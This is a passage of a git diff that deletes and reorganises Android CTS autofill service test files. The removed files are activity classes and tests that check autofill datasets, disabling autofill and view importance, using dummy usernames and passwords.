-        private FillExpectation(String username) {
-            this(username, null);
-        }
-    }
-
-    public final class LoginDialog extends AlertDialog {
-
-        private EditText mUsernameEditText;
-        private EditText mPasswordEditText;
-
-        public LoginDialog(Context context) {
-            super(context);
-        }
-
-        @Override
-        protected void onCreate(Bundle savedInstanceState) {
-            super.onCreate(savedInstanceState);
-
-            setContentView(R.layout.login_activity);
-            mUsernameEditText = findViewById(R.id.username);
-            mPasswordEditText = findViewById(R.id.password);
-        }
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DialogLauncherActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/DialogLauncherActivityTest.java
deleted file mode 100644
index 175d0cb..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/DialogLauncherActivityTest.java
+++ /dev/null
@@ -1,120 +0,0 @@
-/*
- * Copyright 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.Helper.ID_USERNAME;
-import static android.autofillservice.cts.Helper.assertTextIsSanitized;
-import static android.autofillservice.cts.SimpleSaveActivity.ID_PASSWORD;
-
-import android.autofillservice.cts.CannedFillResponse.CannedDataset;
-import android.autofillservice.cts.InstrumentedAutoFillService.FillRequest;
-import android.support.test.uiautomator.UiObject2;
-import android.view.View;
-
-import org.junit.Test;
-
-public class DialogLauncherActivityTest
-        extends AutoFillServiceTestCase.AutoActivityLaunch<DialogLauncherActivity> {
-
-    private DialogLauncherActivity mActivity;
-
-    @Override
-    protected AutofillActivityTestRule<DialogLauncherActivity> getActivityRule() {
-        return new AutofillActivityTestRule<DialogLauncherActivity>(DialogLauncherActivity.class) {
-            @Override
-            protected void afterActivityLaunched() {
-                mActivity = getActivity();
-            }
-        };
-    }
-
-    @Test
-    public void testAutofill_noDatasets() throws Exception {
-        autofillNoDatasetsTest(false);
-    }
-
-    @Test
-    public void testAutofill_noDatasets_afterResizing() throws Exception {
-        autofillNoDatasetsTest(true);
-    }
-
-    private void autofillNoDatasetsTest(boolean resize) throws Exception {
-        enableService();
-        mActivity.launchDialog(mUiBot);
-
-        if (resize) {
-            mActivity.maximizeDialog();
-        }
-
-        // Set expectations.
-        sReplier.addResponse(CannedFillResponse.NO_RESPONSE);
-
-        // Trigger autofill.
-        mActivity.onUsername(View::requestFocus);
-        final FillRequest fillRequest = sReplier.getNextFillRequest();
-
-        // Asserts results.
-        try {
-            mUiBot.assertNoDatasetsEver();
-            // Make sure nodes were properly generated.
-            assertTextIsSanitized(fillRequest.structure, ID_USERNAME);
-            assertTextIsSanitized(fillRequest.structure, ID_PASSWORD);
-        } catch (AssertionError e) {
-            Helper.dumpStructure("D'OH!", fillRequest.structure);
-            throw e;
-        }
-    }
-
-    @Test
-    public void testAutofill_oneDataset() throws Exception {
-        autofillOneDatasetTest(false);
-    }
-
-    @Test
-    public void testAutofill_oneDataset_afterResizing() throws Exception {
-        autofillOneDatasetTest(true);
-    }
-
-    private void autofillOneDatasetTest(boolean resize) throws Exception {
-        enableService();
-        mActivity.launchDialog(mUiBot);
-
-        if (resize) {
-            mActivity.maximizeDialog();
-        }
-
-        // Set expectations.
-        mActivity.expectAutofill("dude", "sweet");
-        sReplier.addResponse(new CannedDataset.Builder()
-                .setField(ID_USERNAME, "dude")
-                .setField(ID_PASSWORD, "sweet")
-                .setPresentation(createPresentation("The Dude"))
-                .build());
-
-        // Trigger autofill.
-        mActivity.onUsername(View::requestFocus);
-        sReplier.getNextFillRequest();
-
-        final UiObject2 picker = mUiBot.assertDatasets("The Dude");
-        if (!Helper.isAutofillWindowFullScreen(mActivity)) {
-            mActivity.assertInDialogBounds(picker.getVisibleBounds());
-        }
-
-        // Asserts results.
-        mUiBot.selectDataset("The Dude");
-        mActivity.assertAutofilled();
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DisableAutofillTest.java b/tests/autofillservice/src/android/autofillservice/cts/DisableAutofillTest.java
deleted file mode 100644
index af2837b..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/DisableAutofillTest.java
+++ /dev/null
@@ -1,353 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.Timeouts.ACTIVITY_RESURRECTION;
-import static android.autofillservice.cts.Timeouts.CALLBACK_NOT_CALLED_TIMEOUT_MS;
-
-import android.autofillservice.cts.CannedFillResponse.CannedDataset;
-import android.os.SystemClock;
-import android.platform.test.annotations.AppModeFull;
-import android.service.autofill.FillResponse;
-import android.util.Log;
-
-import com.android.compatibility.common.util.RetryableException;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
-
-/**
- * Tests for the {@link android.service.autofill.FillResponse.Builder#disableAutofill(long)} API.
- */
-public class DisableAutofillTest extends AutoFillServiceTestCase.ManualActivityLaunch {
-
-    private static final String TAG = "DisableAutofillTest";
-
-    /**
-     * Defines what to do after the activity being tested is launched.
-     */
-    enum PostLaunchAction {
-        /**
-         * Used when the service disables autofill in the fill response for this activty. As such:
-         *
-         * <ol>
-         *   <li>There should be a fill request on {@code sReplier}.
-         *   <li>The first UI focus should generate a
-         *   {@link android.view.autofill.AutofillManager.AutofillCallback#EVENT_INPUT_UNAVAILABLE}
-         *   event.
-         *   <li>Subsequent UI focus should not trigger events.
-         * </ol>
-         */
-        ASSERT_DISABLING,
-
-        /**
-         * Used when the service already disabled autofill prior to launching activty. As such:
-         *
-         * <ol>
-         *   <li>There should be no fill request on {@code sReplier}.
-         *   <li>There should be no callback calls when UI is focused
-         * </ol>
-         */
-        ASSERT_DISABLED,
-
-        /**
-         * Used when autofill is enabled, so it tries to autofill the activity.
-         */
-        ASSERT_ENABLED_AND_AUTOFILL
-    }
-
-    /**
-     * Launches and finishes {@link SimpleSaveActivity}, returning how long it took.
-     */
-    private long launchSimpleSaveActivity(PostLaunchAction action) throws Exception {
-        Log.v(TAG, "launchPreSimpleSaveActivity(): " + action);
-        sReplier.assertNoUnhandledFillRequests();
-
-        if (action == PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL) {
-            sReplier.addResponse(new CannedFillResponse.Builder()
-                    .addDataset(new CannedDataset.Builder()
-                            .setField(SimpleSaveActivity.ID_INPUT, "id")
-                            .setField(SimpleSaveActivity.ID_PASSWORD, "pass")
-                            .setPresentation(createPresentation("YO"))
-                            .build())
-                    .build());
-
-        }
-
-        final long before = SystemClock.elapsedRealtime();
-        final SimpleSaveActivity activity = startSimpleSaveActivity();
-        final MyAutofillCallback callback = activity.registerCallback();
-
-        try {
-            // Trigger autofill
-            activity.syncRunOnUiThread(() -> activity.mInput.requestFocus());
-
-            if (action == PostLaunchAction.ASSERT_DISABLING) {
-                callback.assertUiUnavailableEvent(activity.mInput);
-                sReplier.getNextFillRequest();
-
-                // Make sure other fields are not triggered.
-                activity.syncRunOnUiThread(() -> activity.mPassword.requestFocus());
-                callback.assertNotCalled();
-            } else if (action == PostLaunchAction.ASSERT_DISABLED) {
-                // Make sure forced requests are ignored as well.
-                activity.getAutofillManager().requestAutofill(activity.mInput);
-                callback.assertNotCalled();
-            } else if (action == PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL) {
-                callback.assertUiShownEvent(activity.mInput);
-                sReplier.getNextFillRequest();
-                final SimpleSaveActivity.FillExpectation autofillExpectation =
-                        activity.expectAutoFill("id", "pass");
-                mUiBot.selectDataset("YO");
-                autofillExpectation.assertAutoFilled();
-            }
-
-            // Asserts isEnabled() status.
-            assertAutofillEnabled(activity, action == PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL);
-        } finally {
-            activity.finish();
-        }
-        return SystemClock.elapsedRealtime() - before;
-    }
-
-    /**
-     * Launches and finishes {@link PreSimpleSaveActivity}, returning how long it took.
-     */
-    private long launchPreSimpleSaveActivity(PostLaunchAction action) throws Exception {
-        Log.v(TAG, "launchPreSimpleSaveActivity(): " + action);
-        sReplier.assertNoUnhandledFillRequests();
-
-        if (action == PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL) {
-            sReplier.addResponse(new CannedFillResponse.Builder()
-                    .addDataset(new CannedDataset.Builder()
-                            .setField(PreSimpleSaveActivity.ID_PRE_INPUT, "yo")
-                            .setPresentation(createPresentation("YO"))
-                            .build())
-                    .build());
-        }
-
-        final long before = SystemClock.elapsedRealtime();
-        final PreSimpleSaveActivity activity = startPreSimpleSaveActivity();
-        final MyAutofillCallback callback = activity.registerCallback();
-
-        try {
-            // Trigger autofill
-            activity.syncRunOnUiThread(() -> activity.mPreInput.requestFocus());
-
-            if (action == PostLaunchAction.ASSERT_DISABLING) {
-                callback.assertUiUnavailableEvent(activity.mPreInput);
-                sReplier.getNextFillRequest();
-            } else if (action == PostLaunchAction.ASSERT_DISABLED) {
-                activity.getAutofillManager().requestAutofill(activity.mPreInput);
-                callback.assertNotCalled();
-            } else if (action == PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL) {
-                callback.assertUiShownEvent(activity.mPreInput);
-                sReplier.getNextFillRequest();
-                final PreSimpleSaveActivity.FillExpectation autofillExpectation =
-                        activity.expectAutoFill("yo");
-                mUiBot.selectDataset("YO");
-                autofillExpectation.assertAutoFilled();
-            }
-
-            // Asserts isEnabled() status.
-            assertAutofillEnabled(activity, action == PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL);
-        } finally {
-            activity.finish();
-        }
-        return SystemClock.elapsedRealtime() - before;
-    }
-
-    @After
-    public void clearAutofillOptions() throws Exception {
-        // Clear AutofillOptions.
-        Helper.clearApplicationAutofillOptions(sContext);
-    }
-
-    @Before
-    public void resetAutofillOptions() throws Exception {
-        // Reset AutofillOptions to avoid cts package was added to augmented autofill allowlist.
-        Helper.resetApplicationAutofillOptions(sContext);
-    }
-
-    @Test
-    public void testDisableApp() throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(
-                new CannedFillResponse.Builder().disableAutofill(Long.MAX_VALUE).build());
-
-        // Trigger autofill for the first time.
-        launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLING);
-
-        // Launch activity again.
-        launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLED);
-
-        // Now try it using a different activity - should be disabled too.
-        launchPreSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLED);
-    }
-
-    @Test
-    @AppModeFull(reason = "testDisableApp() is enough")
-    public void testDisableAppThenWaitToReenableIt() throws Exception {
-        // Set service.
-        enableService();
-
-        // Need to wait the equivalent of launching 2 activities, plus some extra legging room
-        final long duration = 2 * ACTIVITY_RESURRECTION.ms() + 500;
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder().disableAutofill(duration).build());
-
-        // Trigger autofill for the first time.
-        launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLING);
-
-        // Launch activity again.
-        long passedTime = launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLED);
-
-        // Wait for the timeout, then try again, autofilling it this time.
-        sleep(passedTime, duration);
-        launchSimpleSaveActivity(PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL);
-
-        // Also try it on another activity.
-        launchPreSimpleSaveActivity(PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL);
-    }
-
-    @Test
-    @AppModeFull(reason = "testDisableApp() is enough")
-    public void testDisableAppThenResetServiceToReenableIt() throws Exception {
-        enableService();
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .disableAutofill(Long.MAX_VALUE).build());
-
-        // Trigger autofill for the first time.
-        launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLING);
-        // Launch activity again.
-        launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLED);
-
-        // Then "reset" service to re-enable autofill.
-        disableService();
-        enableService();
-
-        // Try again on activity that disabled it.
-        launchSimpleSaveActivity(PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL);
-
-        // Try again on other activity.
-        launchPreSimpleSaveActivity(PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL);
-    }
-
-    @Test
-    public void testDisableActivity() throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .disableAutofill(Long.MAX_VALUE)
-                .setFillResponseFlags(FillResponse.FLAG_DISABLE_ACTIVITY_ONLY)
-                .build());
-
-        // Trigger autofill for the first time.
-        launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLING);
-
-        // Launch activity again.
-        launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLED);
-
-        // Now try it using a different activity - should work.
-        launchPreSimpleSaveActivity(PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL);
-    }
-
-    @Test
-    @AppModeFull(reason = "testDisableActivity() is enough")
-    public void testDisableActivityThenWaitToReenableIt() throws Exception {
-        // Set service.
-        enableService();
-
-        // Need to wait the equivalent of launching 2 activities, plus some extra legging room
-        final long duration = 2 * ACTIVITY_RESURRECTION.ms() + 500;
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .disableAutofill(duration)
-                .setFillResponseFlags(FillResponse.FLAG_DISABLE_ACTIVITY_ONLY)
-                .build());
-
-        // Trigger autofill for the first time.
-        launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLING);
-
-        // Launch activity again.
-        long passedTime = launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLED);
-
-        // Make sure other app is working.
-        passedTime += launchPreSimpleSaveActivity(PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL);
-
-        // Wait for the timeout, then try again, autofilling it this time.
-        sleep(passedTime, duration);
-        launchSimpleSaveActivity(PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL);
-    }
-
-    @Test
-    @AppModeFull(reason = "testDisableActivity() is enough")
-    public void testDisableActivityThenResetServiceToReenableIt() throws Exception {
-        enableService();
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .disableAutofill(Long.MAX_VALUE)
-                .setFillResponseFlags(FillResponse.FLAG_DISABLE_ACTIVITY_ONLY)
-                .build());
-
-        // Trigger autofill for the first time.
-        launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLING);
-        // Launch activity again.
-        launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLED);
-
-        // Make sure other app is working.
-        launchPreSimpleSaveActivity(PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL);
-
-        // Then "reset" service to re-enable autofill.
-        disableService();
-        enableService();
-
-        // Try again on activity that disabled it.
-        launchSimpleSaveActivity(PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL);
-    }
-
-    private void assertAutofillEnabled(AbstractAutoFillActivity activity, boolean expected)
-            throws Exception {
-        ACTIVITY_RESURRECTION.run(
-                "assertAutofillEnabled(" + activity.getComponentName().flattenToShortString() + ")",
-                () -> {
-                    return activity.getAutofillManager().isEnabled() == expected
-                            ? Boolean.TRUE : null;
-                });
-    }
-
-    private void sleep(long passedTime, long disableDuration) {
-        final long napTime = disableDuration - passedTime + 500;
-        if (napTime <= 0) {
-            // Throw an exception so ACTIVITY_RESURRECTION is increased
-            throw new RetryableException("took longer than expcted to launch activities: "
-                            + "passedTime=" + passedTime + "ms, disableDuration=" + disableDuration
-                            + ", ACTIVITY_RESURRECTION=" + ACTIVITY_RESURRECTION
-                            + ", CALLBACK_NOT_CALLED_TIMEOUT_MS=" + CALLBACK_NOT_CALLED_TIMEOUT_MS);
-        }
-        Log.v(TAG, "Sleeping for " + napTime + "ms (duration=" + disableDuration + "ms, passedTime="
-                + passedTime + ")");
-        SystemClock.sleep(napTime);
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DismissType.java b/tests/autofillservice/src/android/autofillservice/cts/DismissType.java
deleted file mode 100644
index b2e936c..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/DismissType.java
+++ /dev/null
@@ -1,29 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-/**
- * A simple enum for test cases where the Save UI is dismissed.
- *
- * <p><b>Note:</b> When new values are added to the enum, the equivalent tests must be added to
- * both {@link LoginActivityTest} and {@link SimpleSaveActivityTest}.
- */
-enum DismissType {
-    BACK_BUTTON,
-    HOME_BUTTON,
-    TOUCH_OUTSIDE,
-    FOCUS_OUTSIDE
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DoubleVisitor.java b/tests/autofillservice/src/android/autofillservice/cts/DoubleVisitor.java
deleted file mode 100644
index 8379307..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/DoubleVisitor.java
+++ /dev/null
@@ -1,34 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import androidx.annotation.NonNull;
-
-/**
- * Implements the Visitor design pattern to visit 2 related objects (like a view and the activity
- * hosting it).
- *
- * @param <V1> 1st visited object
- * @param <V2> 2nd visited object
- */
-// TODO: move to common
-public interface DoubleVisitor<V1, V2> {
-
-    /**
-     * Visit those objects.
-     */
-    void visit(@NonNull V1 visited1, @NonNull V2 visited2);
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DummyActivity.java b/tests/autofillservice/src/android/autofillservice/cts/DummyActivity.java
deleted file mode 100644
index a1f5bd9..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/DummyActivity.java
+++ /dev/null
@@ -1,31 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import android.app.Activity;
-import android.os.Bundle;
-import android.widget.TextView;
-
-public class DummyActivity extends Activity {
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        TextView text = new TextView(this);
-        text.setText("foo");
-        setContentView(text);
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DuplicateIdActivity.java b/tests/autofillservice/src/android/autofillservice/cts/DuplicateIdActivity.java
deleted file mode 100644
index 90871ca..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/DuplicateIdActivity.java
+++ /dev/null
@@ -1,35 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import android.os.Bundle;
-import android.util.Log;
-
-public class DuplicateIdActivity extends AbstractAutoFillActivity {
-    private static final String TAG = "DuplicateIdActivity";
-
-    static final String DUPLICATE_ID = "duplicate_id";
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        Log.v(TAG, "onCreate(" + savedInstanceState + ")");
-
-        setContentView(R.layout.duplicate_id_layout);
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DuplicateIdActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/DuplicateIdActivityTest.java
index 60bac5f..074b422 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/DuplicateIdActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/DuplicateIdActivityTest.java
@@ -16,9 +16,9 @@
 
 package android.autofillservice.cts;
 
-import static android.autofillservice.cts.CannedFillResponse.NO_RESPONSE;
-import static android.autofillservice.cts.DuplicateIdActivity.DUPLICATE_ID;
-import static android.autofillservice.cts.Helper.assertEqualsIgnoreSession;
+import static android.autofillservice.cts.activities.DuplicateIdActivity.DUPLICATE_ID;
+import static android.autofillservice.cts.testcore.CannedFillResponse.NO_RESPONSE;
+import static android.autofillservice.cts.testcore.Helper.assertEqualsIgnoreSession;
 
 import static com.android.compatibility.common.util.ShellUtils.runShellCommand;
 
@@ -28,6 +28,12 @@
 
 import android.app.assist.AssistStructure;
 import android.app.assist.AssistStructure.ViewNode;
+import android.autofillservice.cts.activities.DuplicateIdActivity;
+import android.autofillservice.cts.commontests.AutoFillServiceTestCase;
+import android.autofillservice.cts.testcore.AutofillActivityTestRule;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.Helper;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService;
 import android.util.Log;
 import android.view.View;
 import android.view.ViewGroup;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/EmptyActivity.java b/tests/autofillservice/src/android/autofillservice/cts/EmptyActivity.java
deleted file mode 100644
index 87e2b3a..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/EmptyActivity.java
+++ /dev/null
@@ -1,46 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import android.app.Activity;
-import android.os.Bundle;
-import android.view.View;
-
-import androidx.annotation.Nullable;
-
-/**
- * Empty activity
- */
-public class EmptyActivity extends Activity {
-
-    public static final String ID_EMPTY = "empty";
-
-    private View mEmptyView;
-
-    @Override
-    protected void onCreate(@Nullable Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        setContentView(R.layout.empty);
-        mEmptyView = findViewById(R.id.empty);
-    }
-
-    public View getEmptyView() {
-        return mEmptyView;
-    }
-
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/FatActivity.java b/tests/autofillservice/src/android/autofillservice/cts/FatActivity.java
deleted file mode 100644
index 8a47447..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/FatActivity.java
+++ /dev/null
@@ -1,181 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.Helper.findViewByAutofillHint;
-import static android.view.View.IMPORTANT_FOR_AUTOFILL_AUTO;
-import static android.view.View.IMPORTANT_FOR_AUTOFILL_NO;
-import static android.view.View.IMPORTANT_FOR_AUTOFILL_NO_EXCLUDE_DESCENDANTS;
-import static android.view.View.IMPORTANT_FOR_AUTOFILL_YES;
-import static android.view.View.IMPORTANT_FOR_AUTOFILL_YES_EXCLUDE_DESCENDANTS;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.content.Context;
-import android.os.Bundle;
-import android.util.AttributeSet;
-import android.view.View;
-import android.widget.EditText;
-import android.widget.ImageView;
-import android.widget.LinearLayout;
-
-/**
- * An activity containing mostly widgets that should be removed from an auto-fill structure to
- * optimize it.
- */
-public class FatActivity extends AbstractAutoFillActivity {
-
-    static final String ID_CAPTCHA = "captcha";
-    static final String ID_INPUT = "input";
-    static final String ID_INPUT_CONTAINER = "input_container";
-    static final String ID_IMAGE = "image";
-    static final String ID_IMPORTANT_IMAGE = "important_image";
-    static final String ID_ROOT = "root";
-
-    static final String ID_NOT_IMPORTANT_CONTAINER_EXCLUDING_DESCENDANTS =
-            "not_important_container_excluding_descendants";
-    static final String ID_NOT_IMPORTANT_CONTAINER_EXCLUDING_DESCENDANTS_CHILD =
-            "not_important_container_excluding_descendants_child";
-    static final String ID_NOT_IMPORTANT_CONTAINER_EXCLUDING_DESCENDANTS_GRAND_CHILD =
-            "not_important_container_excluding_descendants_grand_child";
-
-    static final String ID_IMPORTANT_CONTAINER_EXCLUDING_DESCENDANTS =
-            "important_container_excluding_descendants";
-    static final String ID_IMPORTANT_CONTAINER_EXCLUDING_DESCENDANTS_CHILD =
-            "important_container_excluding_descendants_child";
-    static final String ID_IMPORTANT_CONTAINER_EXCLUDING_DESCENDANTS_GRAND_CHILD =
-            "important_container_excluding_descendants_grand_child";
-
-    static final String ID_NOT_IMPORTANT_CONTAINER_MIXED_DESCENDANTS =
-            "not_important_container_mixed_descendants";
-    static final String ID_NOT_IMPORTANT_CONTAINER_MIXED_DESCENDANTS_CHILD =
-            "not_important_container_mixed_descendants_child";
-    static final String ID_NOT_IMPORTANT_CONTAINER_MIXED_DESCENDANTS_GRAND_CHILD =
-            "not_important_container_mixed_descendants_grand_child";
-
-    private LinearLayout mRoot;
-    private EditText mCaptcha;
-    private EditText mInput;
-    private ImageView mImage;
-    private ImageView mImportantImage;
-
-    private View mNotImportantContainerExcludingDescendants;
-    private View mNotImportantContainerExcludingDescendantsChild;
-    private View mNotImportantContainerExcludingDescendantsGrandChild;
-
-    private View mImportantContainerExcludingDescendants;
-    private View mImportantContainerExcludingDescendantsChild;
-    private View mImportantContainerExcludingDescendantsGrandChild;
-
-    private View mNotImportantContainerMixedDescendants;
-    private View mNotImportantContainerMixedDescendantsChild;
-    private View mNotImportantContainerMixedDescendantsGrandChild;
-
-    private MyView mViewWithAutofillHints;
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        setContentView(R.layout.fat_activity);
-
-        mRoot = findViewById(R.id.root);
-        mCaptcha = findViewById(R.id.captcha);
-        mInput = findViewById(R.id.input);
-        mImage = findViewById(R.id.image);
-        mImportantImage = findViewById(R.id.important_image);
-
-        mNotImportantContainerExcludingDescendants = findViewById(
-                R.id.not_important_container_excluding_descendants);
-        mNotImportantContainerExcludingDescendantsChild = findViewById(
-                R.id.not_important_container_excluding_descendants_child);
-        mNotImportantContainerExcludingDescendantsGrandChild = findViewById(
-                R.id.not_important_container_excluding_descendants_grand_child);
-
-        mImportantContainerExcludingDescendants = findViewById(
-                R.id.important_container_excluding_descendants);
-        mImportantContainerExcludingDescendantsChild = findViewById(
-                R.id.important_container_excluding_descendants_child);
-        mImportantContainerExcludingDescendantsGrandChild = findViewById(
-                R.id.important_container_excluding_descendants_grand_child);
-
-        mNotImportantContainerMixedDescendants = findViewById(
-                R.id.not_important_container_mixed_descendants);
-        mNotImportantContainerMixedDescendantsChild = findViewById(
-                R.id.not_important_container_mixed_descendants_child);
-        mNotImportantContainerMixedDescendantsGrandChild = findViewById(
-                R.id.not_important_container_mixed_descendants_grand_child);
-
-        mViewWithAutofillHints = (MyView) findViewByAutofillHint(this, "importantAmI");
-        assertThat(mViewWithAutofillHints).isNotNull();
-
-        // Validation check for importantForAutofill modes
-        assertThat(mRoot.getImportantForAutofill()).isEqualTo(IMPORTANT_FOR_AUTOFILL_AUTO);
-        assertThat(mInput.getImportantForAutofill()).isEqualTo(IMPORTANT_FOR_AUTOFILL_YES);
-        assertThat(mCaptcha.getImportantForAutofill()).isEqualTo(IMPORTANT_FOR_AUTOFILL_NO);
-        assertThat(mImage.getImportantForAutofill()).isEqualTo(IMPORTANT_FOR_AUTOFILL_NO);
-        assertThat(mImportantImage.getImportantForAutofill()).isEqualTo(IMPORTANT_FOR_AUTOFILL_YES);
-
-        assertThat(mNotImportantContainerExcludingDescendants.getImportantForAutofill())
-                .isEqualTo(IMPORTANT_FOR_AUTOFILL_NO_EXCLUDE_DESCENDANTS);
